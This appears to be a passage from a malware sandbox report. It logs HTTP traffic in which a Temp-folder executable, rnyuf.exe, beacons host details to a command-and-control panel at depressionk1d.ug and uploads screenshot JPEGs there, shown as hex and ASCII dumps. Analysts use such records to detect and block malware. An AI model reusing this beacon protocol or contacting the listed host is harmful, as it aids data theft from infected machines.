Nov 12, 2021 22:24:56.744482040 CET	18019	OUT	Data Raw: f2 17 b7 ff 00 7a 9f aa 1f f8 9a 5c 7f be 6a 3d 1b fe 42 f6 ff 00 ef 53 b5 13 9d 46 7f f7 cd 72 5b f7 ff 00 23 59 7f 07 e6 56 a4 ef 45 15 b9 ca 2d 14 94 b4 00 52 d2 52 f6 a0 40 29 69 29 69 08 29 45 25 28 a0 41 40 a2 81 48 07 03 4a 29 29 45 21 31 Data Ascii: z\j=BSFr[#YVE-RR@)i)i)E%(A@HJ))E!1)"Wm$*PvxEz^^<CW6_9z1z=x'KtVNkQ<i/Vk~B4WIqNQZVCZxsPNE&LsR@)i)"5Tp5
Nov 12, 2021 22:24:56.793869972 CET	18070	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:56 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49822	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:30.948812008 CET	4120	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:30.975341082 CET	4120	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
380	192.168.2.4	50231	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:56.797413111 CET	18071	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:56.828036070 CET	18071	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
381	192.168.2.4	50232	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:56.983191013 CET	18072	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:57.020462990 CET	18072	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
382	192.168.2.4	50233	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:57.158143044 CET	18073	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:57.190752983 CET	18073	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
383	192.168.2.4	50234	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:57.405000925 CET	18074	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:57.434370995 CET	18074	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
384	192.168.2.4	50235	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:57.564311028 CET	18075	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:57.599610090 CET	18075	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
385	192.168.2.4	50236	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:57.739643097 CET	18076	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:57.766443014 CET	18076	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:24:57.826219082 CET	18077	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:57.826420069 CET	18077	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:57.826664925 CET	18087	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:57.826797962 CET	18090	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:57.850434065 CET	18101	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:57.850497007 CET	18116	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:57.873207092 CET	18127	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:24:57.873249054 CET	18138	OUT	Data Raw: a4 20 a2 92 8a 00 70 3c 62 83 48 3a d2 9a 77 01 28 a5 e9 45 00 02 96 92 96 81 31 69 28 a2 98 87 0a 5a 41 4b 4c 1e e1 4b 8a 4a 5a 62 02 29 3b d2 d2 1a 00 05 38 50 28 a0 40 29 c2 9a 69 45 50 98 ea 28 a5 1d 69 88 51 4a 28 14 b4 d1 22 af a5 29 18 a4 Data Ascii: p<bH:w(E1i(ZAKLKJZb);8P(@)iEP(iQJ(")ykbDE XC8SH,()Bbu'Zx6\bLB)vRBQIR`$xQjRZh+Tbc\|LQVfKLRF(xN)Mpd=))H(
Nov 12, 2021 22:24:57.873306036 CET	18148	OUT	Data Raw: a8 66 88 72 f5 a7 e6 9a 29 d5 0c d1 0f 53 c5 79 17 c4 f0 16 f2 c7 1f f3 cd ff 00 f4 2a f5 b1 d4 d7 91 fc 4e 3f e9 d6 3f f5 c9 bf f4 2a d2 87 c4 45 53 c7 5a 35 63 92 29 04 29 e9 52 62 94 57 2f 2a 3d 2e 66 33 ca 5e 3d a9 db 17 76 71 cd 2d 19 a7 64 Data Ascii: fr)SyN??ESZ5c))RbW/=.f3^=vq-dbhN!] @7n4Z9P(t0hVBJ!@sE93Ri)c<DxJ)rc1(nqO ``PFFHD~D#KIF=*c4yIOvBx
Nov 12, 2021 22:24:57.873322964 CET	18155	OUT	Data Raw: 6a 64 f3 0c c5 2e 2a 50 86 94 25 04 f3 11 81 4f 02 9e 14 53 c0 5a 64 b9 11 85 a7 84 a7 82 a3 bd 1e 6a 0f e2 14 10 db 62 04 a7 04 a6 9b 98 87 f1 52 7d b6 31 d3 9a 77 42 e5 9b e8 4c 12 94 25 56 37 cb d8 53 7e da 4f 41 45 c3 d9 cc bd b7 14 a0 56 7f Data Ascii: jd.*P%OSZdjbR}1wBL%V7S~OAEVD+RQVW1=w}ExURQa{"h[sFM7w9J~7xqBhh$\kc%5X5.w/YsFr-IM}b]\G
Nov 12, 2021 22:24:57.873339891 CET	18159	OUT	Data Raw: ea da 1b 26 9a de c2 45 56 43 3a bb b1 39 89 f0 15 42 75 c7 24 e4 d5 29 3c 31 61 71 79 69 0e 97 7e 6e 60 7d 5a 6b 09 ae 43 29 50 8b b5 96 41 81 d0 a1 62 4e 48 f9 0e 2a bd ac 39 ad fd 74 ff 00 31 7b 39 5a ff 00 d6 d7 39 4c 52 e2 bb 18 34 0d 0a f3 Data Ascii: &EVC:9Bu$)<1aqyi~n`}ZkC)PAbNH9t1{9Z9LR4N:kq{cy}((<yX-\|qK&TZq;/)Sw$(jEt:6jsZo[ilIs6c~uV'sj][j70e39n)g3HO05D
Nov 12, 2021 22:24:57.924544096 CET	18185	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:57 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
386	192.168.2.4	50237	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:57.910067081 CET	18184	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:57.936794043 CET	18185	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
387	192.168.2.4	50238	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:58.079689026 CET	18186	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:58.107564926 CET	18186	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
388	192.168.2.4	50239	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:58.259754896 CET	18187	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:58.286691904 CET	18187	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:24:58.403852940 CET	18187	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:58.404019117 CET	18188	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:58.404156923 CET	18198	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:58.404182911 CET	18200	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:58.426749945 CET	18211	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:58.426808119 CET	18222	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:58.428675890 CET	18227	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:24:58.449461937 CET	18238	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:24:58.449522972 CET	18253	OUT	Data Raw: a4 20 a2 92 8a 00 70 3c 62 83 48 3a d2 9a 77 01 28 a5 e9 45 00 02 96 92 96 81 31 69 28 a2 98 87 0a 5a 41 4b 4c 1e e1 4b 8a 4a 5a 62 02 29 3b d2 d2 1a 00 05 38 50 28 a0 40 29 c2 9a 69 45 50 98 ea 28 a5 1d 69 88 51 4a 28 14 b4 d1 22 af a5 29 18 a4 Data Ascii: p<bH:w(E1i(ZAKLKJZb);8P(@)iEP(iQJ(")ykbDE XC8SH,()Bbu'Zx6\bLB)vRBQIR`$xQjRZh+Tbc\|LQVfKLRF(xN)Mpd=))H(
Nov 12, 2021 22:24:58.449771881 CET	18259	OUT	Data Raw: 2b c0 6b dd be 03 de 5a da 78 7f 56 fb 4d cc 30 ee ba 5d be 6c 81 73 84 e7 19 ac 2b fc 06 b4 7e 23 9f ff 00 84 73 5c ff 00 a0 2e a3 ff 00 80 af fe 14 a3 c3 ba ea b0 61 a3 ea 40 83 90 45 ab f1 fa 57 bb ff 00 6c 69 9f f4 12 b3 ff 00 c0 84 ff 00 1a Data Ascii: +kZxVM0]ls+~#s\.a@EWliO/v_]U?Y'Wwe)IdePLmZ5EU?AK/O>2eT6u<KSjV:wwje;j@S%-4&wN5X%WxP2
Nov 12, 2021 22:24:58.449853897 CET	18269	OUT	Data Raw: 6a 64 f3 0c c5 2e 2a 50 86 94 25 04 f3 11 81 4f 02 9e 14 53 c0 5a 64 b9 11 85 a7 84 a7 82 a3 bd 1e 6a 0f e2 14 10 db 62 04 a7 04 a6 9b 98 87 f1 52 7d b6 31 d3 9a 77 42 e5 9b e8 4c 12 94 25 56 37 cb d8 53 7e da 4f 41 45 c3 d9 cc bd b7 14 a0 56 7f Data Ascii: jd.*P%OSZdjbR}1wBL%V7S~OAEVD+RQVW1=w}ExURQa{"h[sFM7w9J~7xqBhh$\kc%5X5.w/YsFr-IM}b]\G
Nov 12, 2021 22:24:58.499691963 CET	18294	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:58 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49823	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:31.118264914 CET	4121	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
